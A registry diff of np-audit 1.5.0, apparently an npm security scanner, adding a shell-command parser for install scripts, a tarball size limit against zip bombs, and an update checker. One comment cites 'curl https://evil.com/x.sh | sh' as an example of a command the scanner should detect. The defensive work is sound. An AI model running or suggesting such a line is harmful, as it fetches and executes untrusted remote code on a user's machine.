np-audit 1.4.0 → 1.5.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +82 -54
- package/package.json +1 -1
- package/src/cli.js +15 -0
- package/src/core/detector.js +181 -37
- package/src/core/requireWalker.js +192 -0
- package/src/core/scanner.js +306 -48
- package/src/utils/command.js +256 -0
- package/src/utils/config.js +31 -2
- package/src/utils/tarball.js +7 -1
- package/src/utils/updateChecker.js +72 -0
|
@@ -0,0 +1,256 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
|
|
3
|
+
/**
|
|
4
|
+
* Parse a lifecycle command string into a list of "script references".
|
|
5
|
+
*
|
|
6
|
+
* A script reference is either:
|
|
7
|
+
* { kind: 'file', path: 'install.js', interpreter: 'node' } — analyze this file
|
|
8
|
+
* { kind: 'inline', code: '...', interpreter: 'sh' } — analyze this command string
|
|
9
|
+
*
|
|
10
|
+
* The parser splits on the standard shell separators `&&`, `||`, `;`, and `|`
|
|
11
|
+
* (which all chain or redirect commands during npm install), then classifies
|
|
12
|
+
* each segment. This means commands like:
|
|
13
|
+
*
|
|
14
|
+
* "node pre.js && node post.js"
|
|
15
|
+
* "sh ./install.sh; node cleanup.js"
|
|
16
|
+
* "curl https://evil.com/x.sh | sh"
|
|
17
|
+
*
|
|
18
|
+
* all produce multiple references — earlier versions of np-audit only ever
|
|
19
|
+
* extracted the first `node` invocation and ignored the rest.
|
|
20
|
+
*
|
|
21
|
+
* String literals (quoted) are kept intact so we don't split inside an
|
|
22
|
+
* `-e "a && b"` argument or similar.
|
|
23
|
+
*/
|
|
24
|
+
function parseCommand(command) {
|
|
25
|
+
if (!command || typeof command !== 'string') return [];
|
|
26
|
+
|
|
27
|
+
const segments = splitOnShellSeparators(command.trim());
|
|
28
|
+
const refs = [];
|
|
29
|
+
|
|
30
|
+
for (const segment of segments) {
|
|
31
|
+
if (!segment) continue;
|
|
32
|
+
refs.push(...classifySegment(segment));
|
|
33
|
+
}
|
|
34
|
+
|
|
35
|
+
return refs;
|
|
36
|
+
}
|
|
37
|
+
|
|
38
|
+
/**
|
|
39
|
+
* Split on &&, ||, ;, | — respecting single, double, and backtick quotes.
|
|
40
|
+
*/
|
|
41
|
+
function splitOnShellSeparators(cmd) {
|
|
42
|
+
const out = [];
|
|
43
|
+
let buf = '';
|
|
44
|
+
let quote = null; // null | "'" | '"' | '`'
|
|
45
|
+
|
|
46
|
+
for (let i = 0; i < cmd.length; i++) {
|
|
47
|
+
const c = cmd[i];
|
|
48
|
+
|
|
49
|
+
if (quote) {
|
|
50
|
+
if (c === '\\' && i + 1 < cmd.length) {
|
|
51
|
+
buf += c + cmd[i + 1];
|
|
52
|
+
i++;
|
|
53
|
+
continue;
|
|
54
|
+
}
|
|
55
|
+
if (c === quote) quote = null;
|
|
56
|
+
buf += c;
|
|
57
|
+
continue;
|
|
58
|
+
}
|
|
59
|
+
|
|
60
|
+
if (c === '"' || c === "'" || c === '`') {
|
|
61
|
+
quote = c;
|
|
62
|
+
buf += c;
|
|
63
|
+
continue;
|
|
64
|
+
}
|
|
65
|
+
|
|
66
|
+
// && and ||
|
|
67
|
+
if ((c === '&' || c === '|') && cmd[i + 1] === c) {
|
|
68
|
+
out.push(buf);
|
|
69
|
+
buf = '';
|
|
70
|
+
i++;
|
|
71
|
+
continue;
|
|
72
|
+
}
|
|
73
|
+
|
|
74
|
+
// single | (pipe) and ; — also segment boundaries for our purposes:
|
|
75
|
+
// a pipe `foo | sh` clearly has two commands; a sequence `a ; b` too.
|
|
76
|
+
if (c === '|' || c === ';') {
|
|
77
|
+
out.push(buf);
|
|
78
|
+
buf = '';
|
|
79
|
+
continue;
|
|
80
|
+
}
|
|
81
|
+
|
|
82
|
+
buf += c;
|
|
83
|
+
}
|
|
84
|
+
out.push(buf);
|
|
85
|
+
|
|
86
|
+
return out.map(s => s.trim()).filter(Boolean);
|
|
87
|
+
}
|
|
88
|
+
|
|
89
|
+
/**
|
|
90
|
+
* Classify a single shell segment into one or more script references.
|
|
91
|
+
*/
|
|
92
|
+
function classifySegment(segment) {
|
|
93
|
+
const tokens = tokenize(segment);
|
|
94
|
+
if (tokens.length === 0) return [];
|
|
95
|
+
|
|
96
|
+
const cmd = tokens[0];
|
|
97
|
+
|
|
98
|
+
// Resolve common path-prefix wrappers
|
|
99
|
+
// e.g. "./node_modules/.bin/foo" → "foo"
|
|
100
|
+
const cmdBase = cmd.split('/').pop();
|
|
101
|
+
|
|
102
|
+
// Node interpreters
|
|
103
|
+
if (cmdBase === 'node' || cmdBase === 'nodejs') {
|
|
104
|
+
return classifyNodeInvocation(tokens.slice(1), segment);
|
|
105
|
+
}
|
|
106
|
+
|
|
107
|
+
// Other JS runtimes
|
|
108
|
+
if (cmdBase === 'tsx' || cmdBase === 'ts-node' || cmdBase === 'bun' || cmdBase === 'deno') {
|
|
109
|
+
const fileArg = tokens.slice(1).find(t => !t.startsWith('-'));
|
|
110
|
+
if (fileArg) {
|
|
111
|
+
return [{ kind: 'file', path: stripDotSlash(fileArg), interpreter: cmdBase }];
|
|
112
|
+
}
|
|
113
|
+
return [{ kind: 'inline', code: segment, interpreter: cmdBase }];
|
|
114
|
+
}
|
|
115
|
+
|
|
116
|
+
// Shell-script interpreters
|
|
117
|
+
if (cmdBase === 'sh' || cmdBase === 'bash' || cmdBase === 'zsh' || cmdBase === 'dash') {
|
|
118
|
+
return classifyShellInvocation(tokens.slice(1), segment);
|
|
119
|
+
}
|
|
120
|
+
|
|
121
|
+
// Python and friends
|
|
122
|
+
if (cmdBase === 'python' || cmdBase === 'python2' || cmdBase === 'python3'
|
|
123
|
+
|| cmdBase === 'ruby' || cmdBase === 'perl' || cmdBase === 'php') {
|
|
124
|
+
const args = tokens.slice(1);
|
|
125
|
+
for (let i = 0; i < args.length; i++) {
|
|
126
|
+
const a = args[i];
|
|
127
|
+
// -c "code", -e "code" — execute the next argument as code
|
|
128
|
+
if (a === '-c' || a === '-e') {
|
|
129
|
+
return [{ kind: 'inline', code: args[i + 1] || '', interpreter: cmdBase }];
|
|
130
|
+
}
|
|
131
|
+
if (a.startsWith('-')) continue;
|
|
132
|
+
return [{ kind: 'file', path: stripDotSlash(a), interpreter: cmdBase }];
|
|
133
|
+
}
|
|
134
|
+
return [{ kind: 'inline', code: segment, interpreter: cmdBase }];
|
|
135
|
+
}
|
|
136
|
+
|
|
137
|
+
// `.js`/`.mjs`/`.cjs` files invoked directly (shebang)
|
|
138
|
+
if (/\.(?:js|mjs|cjs|sh|bash|py|rb|pl)$/.test(cmdBase)) {
|
|
139
|
+
return [{ kind: 'file', path: stripDotSlash(cmd), interpreter: 'auto' }];
|
|
140
|
+
}
|
|
141
|
+
|
|
142
|
+
// npx — running an arbitrary package. We can't statically know which file
|
|
143
|
+
// it executes, but the command string itself is worth surfacing.
|
|
144
|
+
if (cmdBase === 'npx') {
|
|
145
|
+
return [{ kind: 'inline', code: segment, interpreter: 'shell', npx: true }];
|
|
146
|
+
}
|
|
147
|
+
|
|
148
|
+
// Anything else (curl, wget, cd, env, …): keep as inline so it shows up in
|
|
149
|
+
// the report and is run through the obfuscation checks at least as a string.
|
|
150
|
+
return [{ kind: 'inline', code: segment, interpreter: 'shell' }];
|
|
151
|
+
}
|
|
152
|
+
|
|
153
|
+
/**
|
|
154
|
+
* Handle `node <args...>`. Cases:
|
|
155
|
+
* node script.js → file
|
|
156
|
+
* node -e "..." → inline (the code IS the argument)
|
|
157
|
+
* node -p "..." → inline
|
|
158
|
+
* node --eval "..." → inline
|
|
159
|
+
* node --experimental-foo s.js → file (skip flags, pick first non-flag)
|
|
160
|
+
*/
|
|
161
|
+
function classifyNodeInvocation(args, fullSegment) {
|
|
162
|
+
for (let i = 0; i < args.length; i++) {
|
|
163
|
+
const a = args[i];
|
|
164
|
+
if (a === '-e' || a === '--eval' || a === '-p' || a === '--print') {
|
|
165
|
+
const code = args[i + 1] || '';
|
|
166
|
+
return [{ kind: 'inline', code: stripQuotes(code), interpreter: 'node' }];
|
|
167
|
+
}
|
|
168
|
+
if (a.startsWith('-')) continue;
|
|
169
|
+
// First non-flag token is the script file
|
|
170
|
+
return [{ kind: 'file', path: stripDotSlash(a), interpreter: 'node' }];
|
|
171
|
+
}
|
|
172
|
+
// No file, no -e — fall through to inline
|
|
173
|
+
return [{ kind: 'inline', code: fullSegment, interpreter: 'node' }];
|
|
174
|
+
}
|
|
175
|
+
|
|
176
|
+
/**
|
|
177
|
+
* Handle `sh <args...>`. Cases:
|
|
178
|
+
* sh script.sh → file (the .sh file is fetched & scanned)
|
|
179
|
+
* sh -c "..." → inline (the code IS the argument)
|
|
180
|
+
* bash -c "..." → inline
|
|
181
|
+
*/
|
|
182
|
+
function classifyShellInvocation(args, fullSegment) {
|
|
183
|
+
for (let i = 0; i < args.length; i++) {
|
|
184
|
+
const a = args[i];
|
|
185
|
+
if (a === '-c') {
|
|
186
|
+
const code = args[i + 1] || '';
|
|
187
|
+
return [{ kind: 'inline', code: stripQuotes(code), interpreter: 'sh' }];
|
|
188
|
+
}
|
|
189
|
+
if (a.startsWith('-')) continue;
|
|
190
|
+
return [{ kind: 'file', path: stripDotSlash(a), interpreter: 'sh' }];
|
|
191
|
+
}
|
|
192
|
+
return [{ kind: 'inline', code: fullSegment, interpreter: 'sh' }];
|
|
193
|
+
}
|
|
194
|
+
|
|
195
|
+
/**
|
|
196
|
+
* Lightweight shell-style tokenizer — respects single, double, backtick quotes
|
|
197
|
+
* and \-escapes. Does NOT do variable expansion (we want the literal command
|
|
198
|
+
* the way npm would hand it to /bin/sh).
|
|
199
|
+
*/
|
|
200
|
+
function tokenize(s) {
|
|
201
|
+
const out = [];
|
|
202
|
+
let buf = '';
|
|
203
|
+
let quote = null;
|
|
204
|
+
|
|
205
|
+
for (let i = 0; i < s.length; i++) {
|
|
206
|
+
const c = s[i];
|
|
207
|
+
|
|
208
|
+
if (quote) {
|
|
209
|
+
if (c === '\\' && i + 1 < s.length && quote === '"') {
|
|
210
|
+
buf += s[i + 1];
|
|
211
|
+
i++;
|
|
212
|
+
continue;
|
|
213
|
+
}
|
|
214
|
+
if (c === quote) { quote = null; continue; }
|
|
215
|
+
buf += c;
|
|
216
|
+
continue;
|
|
217
|
+
}
|
|
218
|
+
|
|
219
|
+
if (c === '"' || c === "'" || c === '`') {
|
|
220
|
+
quote = c;
|
|
221
|
+
continue;
|
|
222
|
+
}
|
|
223
|
+
|
|
224
|
+
if (c === '\\' && i + 1 < s.length) {
|
|
225
|
+
buf += s[i + 1];
|
|
226
|
+
i++;
|
|
227
|
+
continue;
|
|
228
|
+
}
|
|
229
|
+
|
|
230
|
+
if (/\s/.test(c)) {
|
|
231
|
+
if (buf) { out.push(buf); buf = ''; }
|
|
232
|
+
continue;
|
|
233
|
+
}
|
|
234
|
+
|
|
235
|
+
buf += c;
|
|
236
|
+
}
|
|
237
|
+
|
|
238
|
+
if (buf) out.push(buf);
|
|
239
|
+
return out;
|
|
240
|
+
}
|
|
241
|
+
|
|
242
|
+
function stripDotSlash(p) {
|
|
243
|
+
return p.replace(/^\.\//, '');
|
|
244
|
+
}
|
|
245
|
+
|
|
246
|
+
function stripQuotes(s) {
|
|
247
|
+
if (s.length >= 2) {
|
|
248
|
+
const f = s[0], l = s[s.length - 1];
|
|
249
|
+
if ((f === '"' || f === "'" || f === '`') && f === l) {
|
|
250
|
+
return s.slice(1, -1);
|
|
251
|
+
}
|
|
252
|
+
}
|
|
253
|
+
return s;
|
|
254
|
+
}
|
|
255
|
+
|
|
256
|
+
module.exports = { parseCommand, splitOnShellSeparators, tokenize };
|
package/src/utils/config.js
CHANGED
|
@@ -15,6 +15,8 @@ const DEFAULT_CONFIG = Object.freeze({
|
|
|
15
15
|
skipScopes: [],
|
|
16
16
|
skipPackages: [],
|
|
17
17
|
silent: false,
|
|
18
|
+
scanSelf: true,
|
|
19
|
+
maxTarballSize: '50MB', // Max unpacked tarball size (e.g. '5MB', '1GB', or bytes as number)
|
|
18
20
|
});
|
|
19
21
|
|
|
20
22
|
const VALID_KEYS = new Set(Object.keys(DEFAULT_CONFIG));
|
|
@@ -29,17 +31,44 @@ function readJSON(filePath) {
|
|
|
29
31
|
|
|
30
32
|
function loadConfig(cwd) {
|
|
31
33
|
const base = { ...DEFAULT_CONFIG };
|
|
34
|
+
// Parse the default maxTarballSize string to bytes
|
|
35
|
+
base.maxTarballSize = parseSize(base.maxTarballSize);
|
|
32
36
|
const global_ = readJSON(GLOBAL_CONFIG_PATH) || {};
|
|
33
37
|
const local = cwd ? readJSON(path.join(cwd, '.npmauditor.json')) || {} : {};
|
|
34
38
|
return Object.assign(base, coerce(global_), coerce(local));
|
|
35
39
|
}
|
|
36
40
|
|
|
41
|
+
/**
|
|
42
|
+
* Parse size strings like '5MB', '1GB', '500KB' to bytes.
|
|
43
|
+
* @param {string|number} value
|
|
44
|
+
* @returns {number} Size in bytes
|
|
45
|
+
*/
|
|
46
|
+
function parseSize(value) {
|
|
47
|
+
if (typeof value === 'number') return Math.max(0, value);
|
|
48
|
+
if (typeof value !== 'string') return 0;
|
|
49
|
+
|
|
50
|
+
const match = value.trim().match(/^(\d+(?:\.\d+)?)\s*(B|KB|MB|GB)?$/i);
|
|
51
|
+
if (!match) return 0;
|
|
52
|
+
|
|
53
|
+
const num = parseFloat(match[1]);
|
|
54
|
+
const unit = (match[2] || 'B').toUpperCase();
|
|
55
|
+
|
|
56
|
+
const multipliers = { B: 1, KB: 1024, MB: 1024 ** 2, GB: 1024 ** 3 };
|
|
57
|
+
const bytes = num * (multipliers[unit] || 1);
|
|
58
|
+
|
|
59
|
+
// Cap at available RAM to prevent out-of-memory
|
|
60
|
+
const totalMem = os.totalmem();
|
|
61
|
+
return Math.min(Math.max(0, Math.floor(bytes)), totalMem);
|
|
62
|
+
}
|
|
63
|
+
|
|
37
64
|
function coerce(obj) {
|
|
38
65
|
const result = {};
|
|
39
66
|
for (const [key, val] of Object.entries(obj)) {
|
|
40
67
|
if (!VALID_KEYS.has(key)) continue;
|
|
41
68
|
const def = DEFAULT_CONFIG[key];
|
|
42
|
-
if (
|
|
69
|
+
if (key === 'maxTarballSize') {
|
|
70
|
+
result[key] = parseSize(val);
|
|
71
|
+
} else if (Array.isArray(def)) {
|
|
43
72
|
result[key] = Array.isArray(val) ? val : [val];
|
|
44
73
|
} else if (typeof def === 'number') {
|
|
45
74
|
const n = Number(val);
|
|
@@ -71,4 +100,4 @@ function getGlobalConfigPath() {
|
|
|
71
100
|
return GLOBAL_CONFIG_PATH;
|
|
72
101
|
}
|
|
73
102
|
|
|
74
|
-
module.exports = { loadConfig, setGlobalConfig, getGlobalConfigPath, DEFAULT_CONFIG, VALID_KEYS };
|
|
103
|
+
module.exports = { loadConfig, setGlobalConfig, getGlobalConfigPath, DEFAULT_CONFIG, VALID_KEYS, parseSize };
|
package/src/utils/tarball.js
CHANGED
|
@@ -9,11 +9,13 @@ const BLOCK_SIZE = 512;
|
|
|
9
9
|
* Pure Node.js — no external dependencies.
|
|
10
10
|
* Handles GNU long name (typeflag 'L') and POSIX ustar extended headers (typeflag 'x').
|
|
11
11
|
* @param {Buffer} gzipBuffer
|
|
12
|
+
* @param {number} [maxSize] Maximum total unpacked size in bytes
|
|
12
13
|
* @returns {Map<string, Buffer>}
|
|
13
14
|
*/
|
|
14
|
-
function parseTarGz(gzipBuffer) {
|
|
15
|
+
function parseTarGz(gzipBuffer, maxSize = null) {
|
|
15
16
|
const tar = zlib.gunzipSync(gzipBuffer);
|
|
16
17
|
const files = new Map();
|
|
18
|
+
let totalUnpackedSize = 0;
|
|
17
19
|
|
|
18
20
|
let offset = 0;
|
|
19
21
|
let pendingLongName = null;
|
|
@@ -56,6 +58,10 @@ function parseTarGz(gzipBuffer) {
|
|
|
56
58
|
name = name.replace(/\0/g, '');
|
|
57
59
|
|
|
58
60
|
if ((typeFlag === '0' || typeFlag === '\0') && size > 0) {
|
|
61
|
+
totalUnpackedSize += size;
|
|
62
|
+
if (maxSize !== null && maxSize !== undefined && totalUnpackedSize > maxSize) {
|
|
63
|
+
throw new Error(`Tarball unpacked size (${totalUnpackedSize} bytes) exceeds limit (${maxSize} bytes) — potential zip bomb`);
|
|
64
|
+
}
|
|
59
65
|
files.set(name, tar.slice(offset, offset + size));
|
|
60
66
|
}
|
|
61
67
|
|
|
@@ -0,0 +1,72 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
|
|
3
|
+
const fs = require('fs');
|
|
4
|
+
const path = require('path');
|
|
5
|
+
const os = require('os');
|
|
6
|
+
|
|
7
|
+
const CACHE_FILE = path.join(os.homedir(), '.npa-update-check');
|
|
8
|
+
const CHECK_INTERVAL = 172800000; // 2 days in ms
|
|
9
|
+
|
|
10
|
+
/**
|
|
11
|
+
* Check for a newer version of np-audit on the registry.
|
|
12
|
+
* Non-blocking — swallows all errors and returns null on failure.
|
|
13
|
+
* @param {object} config Must have `registry` and `timeout` keys.
|
|
14
|
+
* @param {string} currentVersion The currently installed version.
|
|
15
|
+
* @returns {Promise<string|null>} The latest version if newer, or null.
|
|
16
|
+
*/
|
|
17
|
+
async function checkForUpdate(config, currentVersion) {
|
|
18
|
+
try {
|
|
19
|
+
const cache = readCache();
|
|
20
|
+
const now = Date.now();
|
|
21
|
+
|
|
22
|
+
if (cache && (now - cache.lastCheck) < CHECK_INTERVAL) {
|
|
23
|
+
return isNewer(cache.latestVersion, currentVersion) ? cache.latestVersion : null;
|
|
24
|
+
}
|
|
25
|
+
|
|
26
|
+
const { fetchJSON } = require('./fetcher');
|
|
27
|
+
const meta = await fetchJSON(`${config.registry}/np-audit`, { timeout: 5000 });
|
|
28
|
+
const latest = meta['dist-tags'] && meta['dist-tags'].latest;
|
|
29
|
+
|
|
30
|
+
if (latest) {
|
|
31
|
+
writeCache({ lastCheck: now, latestVersion: latest });
|
|
32
|
+
return isNewer(latest, currentVersion) ? latest : null;
|
|
33
|
+
}
|
|
34
|
+
|
|
35
|
+
return null;
|
|
36
|
+
} catch {
|
|
37
|
+
return null;
|
|
38
|
+
}
|
|
39
|
+
}
|
|
40
|
+
|
|
41
|
+
/**
|
|
42
|
+
* Compare two semver strings. Returns true if `a` is newer than `b`.
|
|
43
|
+
*/
|
|
44
|
+
function isNewer(a, b) {
|
|
45
|
+
const pa = a.split(/[-.]/).map(s => parseInt(s, 10) || 0);
|
|
46
|
+
const pb = b.split(/[-.]/).map(s => parseInt(s, 10) || 0);
|
|
47
|
+
for (let i = 0; i < 3; i++) {
|
|
48
|
+
if ((pa[i] || 0) > (pb[i] || 0)) return true;
|
|
49
|
+
if ((pa[i] || 0) < (pb[i] || 0)) return false;
|
|
50
|
+
}
|
|
51
|
+
// Same x.y.z — pre-release (e.g. "beta") is older than stable
|
|
52
|
+
if (b.includes('-') && !a.includes('-')) return true;
|
|
53
|
+
return false;
|
|
54
|
+
}
|
|
55
|
+
|
|
56
|
+
function readCache() {
|
|
57
|
+
try {
|
|
58
|
+
return JSON.parse(fs.readFileSync(CACHE_FILE, 'utf8'));
|
|
59
|
+
} catch {
|
|
60
|
+
return null;
|
|
61
|
+
}
|
|
62
|
+
}
|
|
63
|
+
|
|
64
|
+
function writeCache(data) {
|
|
65
|
+
try {
|
|
66
|
+
fs.writeFileSync(CACHE_FILE, JSON.stringify(data), 'utf8');
|
|
67
|
+
} catch {
|
|
68
|
+
// Non-critical — ignore write failures
|
|
69
|
+
}
|
|
70
|
+
}
|
|
71
|
+
|
|
72
|
+
module.exports = { checkForUpdate, isNewer, CHECK_INTERVAL, CACHE_FILE };
|